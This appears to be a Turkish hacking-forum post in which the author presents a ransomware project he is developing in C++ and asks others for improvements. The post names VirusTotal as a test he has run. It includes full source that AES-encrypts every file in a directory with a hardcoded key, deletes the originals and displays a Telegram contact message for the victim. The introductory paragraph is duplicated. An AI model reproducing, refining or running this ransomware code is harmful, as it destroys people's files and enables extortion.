Arkadaşlar Selamın Aleyküm.
Biliyorsunuz önceden Hacking Alanında Yazılımlar Geliştiriyordum.
Son Günlerde biraz Web Alanına Kaymıştım...
Ancak Önceki Alanımdan Tamamen Kopmam benim sonum demek. Web Tarafında şuan ciddi üzerinde durmam gereken bi projem yok.
Bu yüzden bir Ransomware Projesine Başladım. C++ ile.
Üzerinde Hala Çalışıyorum.. Sizde Fikirler almak istiyorum. Kodları paylaşacağım.. Gördüğünüz bir mantık hatası ya da şu kısmı düzelt dediğiniz yerler var ise bildirebilirsiniz.
Henüz exe dosyasına dönüştürmedim kodların şuan ki kısmını VirüsTotal'e attım onun sonucu da paylaşacağım.
Biliyorsunuz önceden Hacking Alanında Yazılımlar Geliştiriyordum.
Son Günlerde biraz Web Alanına Kaymıştım...
Ancak Önceki Alanımdan Tamamen Kopmam benim sonum demek. Web Tarafında şuan ciddi üzerinde durmam gereken bi projem yok.
Bu yüzden bir Ransomware Projesine Başladım. C++ ile.
Üzerinde Hala Çalışıyorum.. Sizde Fikirler almak istiyorum. Kodları paylaşacağım.. Gördüğünüz bir mantık hatası ya da şu kısmı düzelt dediğiniz yerler var ise bildirebilirsiniz.
Henüz exe dosyasına dönüştürmedim kodların şuan ki kısmını VirüsTotal'e attım onun sonucu da paylaşacağım.
C++:
/*******************************************************
* Bu program, ByFelez Tarafından Geliştirilmiştir !
* Telegram : t.me/felez_tr
*******************************************************/
#include <iostream>
#include <string>
#include <fstream>
#include <cryptopp/aes.h>
#include <cryptopp/modes.h>
#include <cryptopp/filters.h>
#include <vector>
#include <thread>
#include <filesystem>
#include <windows.h>
const double RAM_USAGE_PERCENTAGE = 0.2;
void deleteOriginalFile(const std::string& fileName) {
if (std::remove(fileName.c_str()) != 0) {
std::cerr << "Dosya silinirken bir hata oluştu: " << fileName << std::endl;
}
else {
std::cout << "Orijinal dosya silindi: " << fileName << std::endl;
}
}
void encryptAES(const std::string& inputFileName, const std::string& outputFileName, const std::string& key) {
CryptoPP::SecByteBlock aesKey((const byte*)key.data(), key.size());
CryptoPP::AES::Encryption aesEncryption(aesKey, CryptoPP::AES::DEFAULT_KEYLENGTH);
CryptoPP::CBC_Mode_ExternalCipher::Encryption cbcEncryption(aesEncryption, (const byte*)key.data());
std::ifstream inputFile(inputFileName, std::ios::binary);
std::ofstream outputFile(outputFileName, std::ios::binary);
if (!inputFile || !outputFile) {
std::cerr << "Dosya acilamadi veya olusturulamadi!" << std::endl;
return;
}
CryptoPP::FileSource fileSource(inputFile, true,
new CryptoPP::StreamTransformationFilter(cbcEncryption,
new CryptoPP::FileSink(outputFile)));
std::cout << "Dosya basariyla sifrelendi: " << inputFileName << std::endl;
}
void processFiles(const std::vector<std::string>& files, const std::string& key) {
for (const auto& file : files) {
encryptAES(file, file + ".encrypted", key);
deleteOriginalFile(file);
}
}
void showNotification(const std::string& message) {
MessageBox(NULL, message.c_str(), "Uyarı", MB_OK | MB_ICONINFORMATION);
}
int main() {
std::string key = "Flzby*-1786924,3#&";
std::string directoryPath = "path_to_your_directory";
if (!std::filesystem::exists(directoryPath)) {
std::cerr << "Belirtilen dizin bulunamadi!" << std::endl;
return 1;
}
const int maxThreadCount = std::thread::hardware_concurrency();
const int usedThreadCount = static_cast<int>(maxThreadCount * RAM_USAGE_PERCENTAGE);
std::vector<std::string> files;
for (const auto& entry : std::filesystem::directory_iterator(directoryPath)) {
files.push_back(entry.path().string());
}
std::vector<std::vector<std::string>> fileChunks(usedThreadCount);
size_t i = 0;
for (const auto& file : files) {
fileChunks[i % usedThreadCount].push_back(file);
++i;
}
std::vector<std::thread> threads;
for (int i = 0; i < usedThreadCount; ++i) {
threads.emplace_back(processFiles, std::ref(fileChunks[i]), std::ref(key));
}
for (auto& thread : threads) {
thread.join();
}
showNotification("Bizimle iletişime geç ! Telegram: @felez_tr");
return 0;
}